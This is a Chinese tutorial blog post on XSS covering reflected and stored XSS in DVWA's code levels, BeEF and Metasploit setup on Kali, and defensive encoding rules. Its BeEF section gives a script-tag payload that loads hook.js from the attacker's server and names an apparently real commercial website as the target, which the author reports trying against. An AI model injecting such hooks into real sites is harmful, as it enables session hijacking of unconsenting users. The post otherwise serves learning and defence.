XSS脚本注入攻击

XSS攻击

参考:https://www.freebuf.com/column/154178.html

不同于大多数攻击(一般只涉及攻击者和受害者),XSS涉及到三方,即攻击者、客户端与网站。XSS的攻击目标是为了盗取客户端的cookie或者其他网站用于识别客户端身份的敏感信息。获取到合法用户的信息后,攻击者甚至可以假冒最终用户与网站进行交互。

XSS漏洞成因是由于动态网页的Web应用对用户提交请求参数未做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),然后未加编码地输出到第三方用户的浏览器,这些攻击者恶意提交代码会被受害用户的浏览器解释执行。

对于初学者而言,找漏洞最好是基于白盒审计进行,所谓白盒审计可以简单地理解为就是看着代码找漏洞,那么在正式挖洞前,我们先看看开源的DVWA给出的四种级别的XSS的源代码。

基于dvwa的代码审计

DVWA 的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到入门级别的代码审计的内容。

XSS主要可以分为两种,分别为反射型XSS和存储型XSS,DVWA中也是分开介绍的。两者的区别在哪儿呢?

反射型XSS:

    一般是url参数中的值能够回显到HTML中,且url的参数值没有过滤或过滤不严

存储型XSS:

    可以提交内容

    提交的内容可被管理员或其他用户看到

    提交的内容没有被过滤或过滤不严

我们这里在按照DVWA给出的代码进行介绍,先看看反射型XSS的代码:

Low级别代码

image001.png

分析关键代码:

image002.png

可以看到:

代码不经过滤与检查直接引用name参数,由此形成XSS漏洞

 

Medium级别代码:

image003.png

分析关键代码:

image004.png

可以看到:

代码使用str_replace()函数将输入中的<script>删除,希望借此来过滤不合法的输入

 

High级别代码:

image005.png

分析关键代码:

image006.png

可以看到:

代码使用preg_replace() 函数(该函数用于正则表达式的搜索和替换),来杜绝我们使用双写绕过、大小写混淆绕过代码设置的过滤规则

Impossible级别代码

image007.png

分析关键代码:

image008.png

代码中引入htmlspecialchars()函数把特殊字符如&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素,在根源上杜绝了XSS的发生

 

分析完了反射性XSS的源码,我们接下来看看存储型XSS的源码

Low级别代码:

image009.png

分析关键代码:

image010.png

代码中只是使用了trim()、mysql_real_escape_string()、stripslashes()等来对输入内容进行常规的处理,但是并没有对关于XSS的输入做特定的过滤与检查,并且直接存储于数据库,造成存储型XSS漏洞

 

Mdium级别代码

image011.png

分析关键代码:

image012.png

可以看到代码对两个参数不同的处理方式。对于message,使用htmlspecialchars()对其进行编码,无法再由此进行XSS,可是在name参数这边,只是用str_replace()过滤了<script>,XSS漏洞可由此参数引发

 

High级别代码:

image013.png

关键代码分析:

image014.png

引入了preg_replace()通过正则匹配的方式过滤了<script>标签,在<script>出杜绝了XSS,不过其他可以利用的标签如img等并没有过滤,因此可以利用来进行XSS

Impossible代码:

image015.png

分析关键代码:

image016.png

使用多个函数进行过滤处理,并且在最后使用htmlspecialchars()函数将其输入转换为HTML实体,但是要注意的是,如果htmlspecialchars函数使用不当,攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS。

 

BeEF进行跨站脚本攻击:

参考:https://blog.csdn.net/jiangliuzheng/article/details/51910687

1.BeEF在Kali下默认安装,直接找到对应图标启动即可,但是默认设置未同Metasploit关联,无法使用msf模块,因此需要作如下配置连接msf。

修改config.yaml:

vim /usr/share/beef-xss/config.yaml

改为true。

vim /usr/share/beef-xss/extensions/demos/config.yaml
改为false。
vim /usr/share/beef-xss/extensions/metasploit/config.yaml
设置后如下:

2.启动msf服务

忽然发现kali2.0之后metaspliot是不默认安装,所以进行下列:

首先更新kali的更新源:

sudo vim /etc/apt/sources.list

deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib 
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib 

上面是阿里云的更新源

apt-get update

下载:

打开:

3.运行BeEF.rb服务

4.启动beef

点击127.0.0.1:3000/ui/panel,

输入默认用户名口令全为beef,即可登录。

目标网站: http://www.succulents-castle.com/Product.asp?BigClassName=aaa

插入:<script src="http://127.0.0.1:3000/hook.js"></script>注意这个127.0.0.1ip地址要改为自己本机的ip地址,比如192.168.1.1,就是你beef配置的ip

原博客攻击成功:

本次试验,被拦截:

再接再厉吧

 

防护

防护措施

不要在页面中插入任何不可信数据,除非这些数已经据根据下面几个原则进行了编码

在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码

在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码

不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码

在将不可信数据插入到Style属性里时,对这些数据进行CSS编码

在将不可信数据插入到HTML URL里时,对这些数据进行URL编码

使用富文本时,使用XSS规则引擎进行编码过滤

 

上面的话总结一下其实就是三条原则:

设置HTTP-only cookie,该cookie的属性能够阻止客户端脚本访问Cookie

对输入进行校验:对用户输入的一些特殊字符校验,过滤或者是编码

对输出进行校验:除了富文本之外,在变量输出到HTML页面,可以使用编码或者转义的方式来防御XSS

  • 0
    点赞
  • 1
    评论
  • 9
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

相关推荐
©️2020 CSDN 皮肤主题: 撸撸猫 设计师:马嘣嘣 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值